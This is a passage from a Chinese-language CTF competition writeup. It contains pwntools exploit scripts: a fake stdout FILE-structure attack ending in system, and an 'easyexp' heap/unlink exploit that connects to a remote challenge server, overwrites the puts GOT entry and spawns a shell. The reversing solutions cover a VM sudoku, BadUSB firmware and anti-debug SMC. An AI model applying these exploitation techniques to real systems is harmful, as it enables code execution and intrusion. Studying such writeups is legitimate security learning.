        fake_stdout+=p64(addr+8)
        fake_stdout=fake_stdout.ljust(112,'\x00')
        fake_stdout+=p32(1)
        fake_stdout=fake_stdout.ljust(0xd8,'\x00')
        fake_stdout+=p64(buff);
        poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
        poc1=poc1.ljust(0x100,'\x00')
        poc1+=fake_stdout
        poc1+=p64(0xdeadbeef)*3
        p.sendline(poc1)
        p.recvuntil('\n')
    
    def rol(x,off):
        return ((x << off) | (x >> (64-off)))&0xffffffffffffffff
    
    write_to(stack_addr,p64(libc_addr+0x3EB008+1))
    fmt_s="xxxxxx%%%d$s"%(74+0xd0/8)
    poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
    poc1=poc1.ljust(0x100,'\x00')
    poc1+=fake_stdout
    p.sendline(poc1)
    p.recvuntil('\n')
    tls_addr=u64('\x00'+p.recv(5)+'\x00\x00')
    success('tls {}'.format(hex(tls_addr)))
    
    write_to(tls_addr+0x14f0,'a'*8)
    write_to(libc_addr+0x3F0668,p64(rol((libc_addr+0x8A150)^u64('a'*8),17)))
    fmt_s=p64(stdout_offset+0xd8)[:-2]+'aa'
    fake_stdout=p32(0xfbad2284|0x8000)+';sh\x00'
    fake_stdout+=p64(stdout_offset+0xd8)*3
    fake_stdout+=p64(stdout_offset+0xd8)*2
    fake_stdout+=p64(stdout_offset+0xd8+6)
    fake_stdout=fake_stdout.ljust(112,'\x00')
    fake_stdout+=p32(1)
    fake_stdout=fake_stdout.ljust(0xd8,'\x00')
    fake_stdout+=p64(buff);
    poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
    poc1=poc1.ljust(0x100,'\x00')
    poc1+=fake_stdout
    poc1+=p64(system)*3
    assert len(poc1) < 0x200
    p.sendline(poc1)
    p.recvuntil('\n')
    
    p.interactive()
    

    easyexp

    參考連結:https://www.freebuf.com/column/162202.html

    發現出題人在原CVE的exp裡抄襲了關於通過改變當前目錄到另一個掛載的使用者空間來實現讓getcwd()返回的字串前加上(unreachable)的相關程式碼,直接就可以利用題目裡的canonicalize_file_name()在堆上進行修改,但需要注意的是這裡必須要bypass realpath()中關於檢查解析出來的路徑是否正確的相關程式碼,否則一旦canonicalize_file_name返回NULL,程式就會直接退出。除錯可以發現程式是在呼叫__lxstat64()後返回NULL的,不知道這個函式的可以搜一下,大致就是獲取檔案屬性,返回NULL的原因也很簡單,因為找不到名為(unreachable)/tmp的檔案

    這裡有兩種方法解決這個問題:

    1.程式初始化時會建立使用者目錄,並在裡面建立假flag,所以考慮建立(unreachable)使用者目錄,在裡面建立/tmp檔案就可以通過檢查

    2.由於題目部署在docker中,程序的pid都不會很大,可以爆破,直接在…/…/proc/childpid/cwd中建立(unreachable)/tmp之後就可以通過檢查

    程式和堆有關的部分就是檔案的cache系統,新建立檔案時or讀取檔案內容時會把檔案讀入快取中,快取中的檔案不需要open檔案,在一段時間不使用後就會被釋放掉並把之前的內容寫入檔案中

    這樣建立帶有/的檔案時,堆上就會有/出現

    通過mkdir …/…/aaaaaa這樣的形式就可以修改堆了,詳細的直接看exp好了:

    #coding=utf8
    from pwn import *
    context.log_level = 'debug'
    context.terminal = ['gnome-terminal','-x','bash','-c']
    
    local = 0
    
    if local:
    	cn = process('./easyexp')
    	bin = ELF('./easyexp')
    	libc = ELF('./libc.so.6')
    	#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
    else:
    	cn = remote('150.109.46.159',20004)
    	bin = ELF('./easyexp')
    	libc = ELF('./libc.so.6')
    	cn.sendlineafter('token','Okxa47uIRWgnQCdtAUIQMBbowEZFOSIb')
    
    
    def z(a=''):
    	gdb.attach(cn,a)
    	if a == '':
    		raw_input()
    
    def cat(path):
    	cn.sendlineafter('$ ',"cat " + path)
    
    def mkdir(path):
    	cn.sendlineafter('$ ',"mkdir " + path)
    
    def mkfile(path,content):
    	cn.sendlineafter('$ ',"mkfile " + path)
    	cn.sendlineafter('write something',content)
    
    def fake(path):
    	padding = '../../'
    	zero = []
    	for i in range(0,len(path)):
    		if ord(path[i]) == 0:
    			zero.append(i)
    			padding += 'a'
    		else:
    			padding += path[i]
    	mkdir(padding)
    	zero = zero[::-1]
    	for i in zero:
    		padding = padding[0:i+6]
    		mkdir(padding)
    
    fbuf_base = 0x603180
    target = fbuf_base + 0x60 * 1
    
    cn.sendlineafter('input your home\'s name:','(unreachable)')
    
    buf = p64(0) + p64(0xf1) + p64(target-0x18) + p64(target-0x10)
    buf = buf.ljust(0xf0-2,'\x00')
    buf+= '/'
    
    mkfile('./(unreachable)/tmp','/'* 0x20)
    mkfile('chunk2','a' * 0x20)
    
    buf = p64(66) + p64(0x31)+ p64(66) + p64(0x51) + p64(target - 0x18) + p64(target - 0x10)
    fake(buf)
    
    mkfile('chunk3','/' * 0x20)
    mkfile('newchunk1','a' * 0xf0)
    
    fake(p64(0x50))
    
    cat('chunk3')
    
    mkfile('unlink','/bin/sh')
    
    buf = 'a' * 0x18 + p64(target)
    mkfile('chunk2',buf)
    
    buf = p64(target) + p32(0x100)[:-1]
    mkfile('chunk2',buf)
    
    buf = p64(target) + p32(0x100) + 'chunk2\x00'
    buf = buf.ljust(0x60,'\x00')
    buf+= p64(bin.got['puts'])
    mkfile('chunk2',buf)
    
    cat('chunk3')
    lbase = u64(cn.recvline()[:-1].ljust(8,'\x00')) - libc.sym['puts']
    print('lbase:' + hex(lbase))
    
    mkfile('chunk2',p64(bin.got['puts']))
    mkfile('chunk2',p64(lbase + libc.sym['system']))
    
    cat('unlink')
    
    cn.interactive()
    

    Re

    spiral

    flag分為兩個部分,第1部分很簡單,請見dec指令碼。

    第2部分的邏輯在spiral_core.sys中,如果第一部分Check通過,程式會將輸入的後27個位元組寫到驅動當中。

    本題的思路是利用vmexit構造一個vm保護,輸入位元組根據vm_opcode與被加密的數獨表做運算,如果計算結果符合數獨解,那麼就算通過。

    本題是個鋸齒形數獨,可以先解出數獨,作為vm的結果儲存。

    對於解數獨:

  • 初次進入VMM後會對數獨進行位移。
  • 之後兩次readmsr再對數獨進行位移。
  • 此時就可得到位置確定,但處於加密狀態的數獨。
    除解數獨外,本題也將vm_opcode的表利用Invd觸發的VMEXIT事件進行順序變換,所以還需要得到3組vm_opcode變換後的結果。
    至此,所有的解題關鍵都拿到了,下面為指令碼:

    vm_enc_ez = [0x07, 0xe7, 0x07, 0xe4, 0x01, 0x19, 0x03, 0x50, 0x07, 0xe4, 0x01, 0x20, 0x06, 0xb7, 0x07, 0xe4, 0x01, 0x22, 0x00, 0x28, 0x00, 0x2a, 0x02, 0x54, 0x07, 0xe4, 0x01, 0x1f, 0x02, 0x50, 0x05, 0xf2, 0x04, 0xcc, 0x07, 0xe4, 0x00, 0x28, 0x06, 0xb3, 0x05, 0xf8, 0x07, 0xe4, 0x00, 0x28, 0x06, 0xb2, 0x07, 0xe4, 0x04, 0xc0, 0x00, 0x2f, 0x05, 0xf8, 0x07, 0xe4, 0x04, 0xc0, 0x00, 0x28, 0x05, 0xf0, 0x07, 0xe3, 0x00, 0x2b, 0x04, 0xc4, 0x05, 0xf6, 0x03, 0x4c, 0x04, 0xc0, 0x07, 0xe4, 0x05, 0xf6, 0x06, 0xb3, 0x01, 0x19, 0x07, 0xe3, 0x05, 0xf7, 0x01, 0x1f, 0x07, 0xe4]
    
    #---------------------------------------------------------#
    dec_board = [4, 7, 2, 9, 8, 3, 1, 6, 5,
    7, 3, 6, 1, 5, 9, 4, 2, 8,
    2, 6, 5, 8, 3, 1, 9, 4, 7,
    6, 5, 9, 4, 1, 2, 8, 7, 3,
    1, 8, 7, 5, 2, 6, 3, 9, 4,
    3, 9, 4, 6, 7, 5, 2, 8, 1,
    8, 1, 3, 2, 9, 4, 7, 5, 6,
    5, 2, 1, 7, 4, 8, 6, 3, 9,
    9, 4, 8, 3, 6, 7, 5, 1, 2]
    
    enc_board = [165,  89,  35,    9, 512,   3,    1,    6,  87,
      7, 206, 125,   86,   5,  40,    4,    2,   8,
      2,   6,   5,    9, 240,  15,   86,  118, 855,
     77,  77,  75,   83,   1, 225,   87,    7, 127,
     56, 111, 665,   54,   2,   6, 1123, 1129, 211,
    106, 170, 884,  198, 176, 420,   50,  103,   1,
      8, 168, 113,    2,   9, 104,   50, 1525,   6,
      5,  93,   1, 1287,  37,   8,    6,   51,   9,
     89,  49, 952,  101,  99,  40,   87,    1, 163]
    
    #=========================================================#
    def vm_dec_core_ez(vm_opcode, vm_data):
    	if vm_opcode == 0b000:
    		vm_data += 0xde;
    	elif vm_opcode == 0b001:
    		vm_data += 0xed;
    	elif vm_opcode == 0b010:
    		vm_data += 0xba;
    	elif vm_opcode == 0b011:
    		vm_data += 0xbe;
    	elif vm_opcode == 0b100:
    		vm_data ^= 0xca;
    	elif vm_opcode == 0b101:
    		vm_data ^= 0xfe;
    	elif vm_opcode == 0b110:
    		vm_data ^= 0xbe;
    	elif vm_opcode == 0b111:
    		vm_data ^= 0xef;
    	else:
    		print "error vm_opcode"
    		exit()
    	vm_data &= 0b1111
    	dec_data = chr(vm_opcode | (vm_data<<3))
    	return dec_data
    
    def vm_dec_ez():
    	dec_s = ''
    	for i in range(len(vm_enc_ez)/2):
    		dec_s += vm_dec_core_ez(vm_enc_ez[2*i], vm_enc_ez[2*i+1])
    	return dec_s
    
    #---------------------------------------------------------#
    def vm_dec_core(vm_opcode, pos_):
    	res = 0
    	pos = ((pos_>>4)&0x0f) * 9 + (pos_&0x0f)
    	if vm_opcode == 0:
    		print 'MOV Error!'
    		return
    	elif vm_opcode == 1:	# ADD
    		res = dec_board[pos] - enc_board[pos]
    	elif vm_opcode == 2:	# SUB
    		res = enc_board[pos] - dec_board[pos]
    	elif vm_opcode == 3:
    		res = enc_board[pos] / dec_board[pos]
    	elif vm_opcode == 4:
    		print 'MUL Error!'
    		return
    	elif vm_opcode == 5:
    		res = enc_board[pos] ^ dec_board[pos]
    	elif vm_opcode == 6:
    		res = enc_board[pos] ^ dec_board[pos]
    	elif vm_opcode == 7:
    		res = enc_board[pos] ^ dec_board[pos]
    		res = res >> 4
    	elif vm_opcode == 8:
    		print 'OR Error!'
    		return
    	elif vm_opcode == 9:
    		res = enc_board[pos] ^ dec_board[pos]
    	else:
    		print "Default Error"
    		return
    	return res
    
    def vm_opcode_dec_f1(vm_opcode_enc):
    	res_dec = []
    	ord1 = [2, 3, 4, 7, 8, 0, 6, 5, 1, 9]
    	ord2 = [3, 4, 7, 8, 0, 6, 5, 1, 9, 2]
    	ord3 = [3, 1, 7, 4, 8, 2, 9, 5, 6, 0]
    	for i in range(27):
    		if i>=0 and i<8:
    			res_dec.append(ord1.index(vm_opcode_enc[i]))
    		elif i>=8 and i<17:
    			res_dec.append(ord2.index(vm_opcode_enc[i]))
    		elif i>=17 and i<27:
    			res_dec.append(ord3.index(vm_opcode_enc[i]))
    		else:
    			print "vm_opcode Len Error"
    			exit()
    	return res_dec
    
    def vm_opcode_dec_f2(vm_opcode_enc):
    	res_dec = []
    	ord1 = [2, 3, 4, 7, 8, 0, 6, 5, 1, 9]
    	ord2 = [3, 4, 7, 8, 0, 6, 5, 1, 9, 2]
    	ord3 = [3, 1, 7, 4, 8, 2, 9, 5, 6, 0]
    	for i in range(27):
    		if i>=0 and i<10:
    			res_dec.append(ord1.index(vm_opcode_enc[i]))
    		elif i>=10 and i<19:
    			res_dec.append(ord2.index(vm_opcode_enc[i]))
    		elif i>=19 and i<27:
    			res_dec.append(ord3.index(vm_opcode_enc[i]))
    		else:
    			print "vm_opcode Len Error"
    			exit()
    	return res_dec
    
    def vm_dec(vm_opcode_enc_l, input_pos, spec):
    	dec_psble = [0] * 27
    	if spec == 1:
    		vm_opcode_dec_l = vm_opcode_dec_f1(vm_opcode_enc_l)
    		#print vm_opcode_dec_l
    	else:
    		vm_opcode_dec_l = vm_opcode_dec_f2(vm_opcode_enc_l)
    		#print vm_opcode_dec_l[::-1]
    	for i in range(len(dec_psble)):
    		if vm_opcode_dec_l[i] != 6 and vm_opcode_dec_l[i] != 9:
    			dec_psble[i] = vm_dec_core(vm_opcode_dec_l[i], input_pos[i]) & 0xff
    		else:
    			dec_psble[i] = vm_dec_core(vm_opcode_dec_l[i], input_pos[i])
    	for i in range(len(dec_psble)):
    		if vm_opcode_dec_l[i] == 6:
    			dec_psble[i] += dec_psble[i+1]
    			dec_psble[i] -= dec_psble[i-1]
    			dec_psble[i] &= 0xff
    	for i in range(len(dec_psble)):
    		if vm_opcode_dec_l[i] == 9:
    			dec_psble[i] ^= dec_psble[i+1]
    			dec_psble[i] ^= dec_psble[i-1]
    			dec_psble[i] += dec_psble[i+2]
    			dec_psble[i] -= dec_psble[i-2]
    			dec_psble[i] &= 0xff
    	return dec_psble
    
    def vm_dec_shell():
    	dec_flag = ''
    	vm_opcode_1_enc = [3,4,7,4,0,6,0,9, 6,4,8,1,4,7,1,8,7, 1,9,2,2,5,7,0,2,9,7]
    	input_pos_1 = [0x00,0x01,0x04,0x12,0x15,0x25,0x27,0x30,0x33,0x35,0x42,0x46,0x48,0x50,0x52,0x55,0x57,0x61,0x65,0x66,0x71,0x73,0x77,0x80,0x81,0x83,0x85]
    	dec_psble_1 = vm_dec(vm_opcode_1_enc, input_pos_1, 1)
    	#print dec_psble_1
    
    	vm_opcode_2_enc = [4,4,3,0,9,7,0,5,4,6,6,5,7,6,7,1,4,8,4,7,2,5,7,4,9,2,1]
    	input_pos_2 = [0x02,0x08,0x11,0x13,0x23,0x24,0x26,0x28,0x31,0x32,0x36,0x38,0x40,0x41,0x43,0x47,0x51,0x53,0x54,0x56,0x62,0x67,0x74,0x82,0x84,0x86,0x88]
    	dec_psble_2 = vm_dec(vm_opcode_2_enc, input_pos_2, 2)
    	#print dec_psble_2[::-1]
    
    	if dec_psble_1 == dec_psble_2[::-1]:
    		for i in range(len(dec_psble_1)):
    			dec_flag += chr(dec_psble_1[i])
    		return dec_flag
    	else:
    		return 'Something Error!'
    
    #=========================================================#
    dec_full_flag = 'hctf{'
    dec_full_flag += vm_dec_ez();
    dec_full_flag += vm_dec_shell() + '}';
    print dec_full_flag
    

    PolishDuck

    由於出題人水平有限,給各位師傅帶來的不必要困擾還請諒解。

    Badusb韌體

    先hex2bin

    Arduino Leonardo晶片atmega32u4

    Github上找到32u4的datasheet,然後難度就降維了

    https://gist.github.com/thecamper/18fa1453091be4c379aa12bcc92f91f0

    有了datasheet可以直接ida分析

    ‘可以裝arduino ide自己編譯一個相關的韌體對比函式,恢復函式名,或者直接找到keyboard的庫分析。

    找到主函式

    size_t Keyboard_::write(const uint8_t *buffer, size_t size) {
    	size_t n = 0;
    	while (size--) {
    		if (*buffer != '\r') {
    			if (write(*buffer)) {
    			  n++;
    			} else {
    			  break;
    			}
    		}
    		buffer++;
    	}
    	return n;
    }
    

    keyboard.cpp原始碼裡可以看到println是根據地址取字串,也可以解釋為什麼ldi了好多引數

    根據地址位置,推算出字串位置

    windows+r 後notepad.exe,開始的地址就是"notepad.exe"的位置

    這裡引用Nu1L戰隊師傅的指令碼(我寫的真的太醜了)

    index_table=[320,332, 339, 354, 375, 395, 425, 456, 467, 491, 510, 606, 519, 540, 551, 582, 609, 624, 651, 664, 675, 689, 604, 698, 709, 720, 727, 754, 775, 784, 606, 807,
    838, 988, 845, 868, 883, 911, 934, 947, 959, 976, 991, 1007, 1024, 1099, 1043, 1068, 1083, 1103, 1106, 1168, 1119, 1132, 1149, 1166, 1175, 1182, 1205, 1227,
     1093, 1093, 1238, 1101, 1101, 1172, 1253, 1103]
     
    import ida_bytes,idaapi
    
    def my_get_str(ea):
        #print(hex(ea))
        res = ''
        i = 0
        while True:
            tt = ida_bytes.get_byte(ea+i)
            if tt ==0 or tt & 0x80 != 0:
                break
            res += chr(tt)
            i += 1
        return res
    
    guess_offest = [6480]
    
    for offest in guess_offest:
        res = ''
        for i in index_table:
            res += my_get_str(i+offest)
            res += '\n'
        print(res+'\n')
    

    開始的內容是逆波蘭表示式,但在減法寫成了 ‘負數加‘ 不滿足中綴表示式 所以符號比數字多,~~其實可以算腦洞,~~不過沒有必要,所以後期更新了附件,變成了常規的中綴表示式。

    給各位師傅帶來的困擾還請海涵。

    Source code example

    中綴計算得16進位制:

    0x686374667b50306c3173685f4475636b5f5461737433735f44336c3163693075735f44305f555f5468316e6b3f7d

    Decode得flag:hctf{P0l1sh_Duck_Tast3s_D3l1ci0us_D0_U_Th1nk?}

    沒有Polish的PolishDuck XD,出題人已自裁。

    seven

    鍵盤過濾驅動

    ****************
    o…*
    *************.
    ***********
    *







    7

    根據鍵盤掃描碼(wasd)從’o’開始,沿著’.'走到’7’即可。

    LuckyStar⭐ Writeup

    おっはラッキー☆!

    這道題除去neta部分,我的思路只是想做一個去年re簽到的升級版,將去年vvv沒加上的smc加上作為今年的re簽到。(其實純難度來說我這題還不算簽到…只是不知道為啥沒人看那道題目orrzz,後來vvv跟我說了下TLS的具體實現,我逆了一下,發現有一個地方好像可以搞事情,就拿來出題了。

    TLS裡的反調很好過,這也是想讓選手放鬆警惕(心理學博弈。唯一的坑在於上面說的那個地方藏了一段程式碼,會判斷是否在偵錯程式中,假如判斷不過就會將種子換成一個特殊值,使得第二段smc出來的函式的第一個指令為ret讓程式不崩。預期解法是選手會發現第二段SMC出來的程式碼不對,就會去懷疑是不是種子被換了。然後對srand下一個API斷點,或是用IDA從start開始看,找到那個相對引用。通過動調就能知道呼叫的兩個函式分別為srand 和 rand,這樣就可以將後續的rand值得到,最後的加密就一個換表base64和xor rand(事實證明我不該只用rand的),從而拿到flag。

    好玩的地方在於白石的歌(霧),最後知道這個neta的好像只有日本小哥哥嗚嗚嗚

    說回題目,最簡單的做法就是在歌播放完之後直接attach上去…我想過這種方式,但我想不到有啥簡單又隱蔽的方法可以防止orz.最後也有隊伍是通過這樣做的

    還有隊伍用ce將程式碼與xor的結果值dump了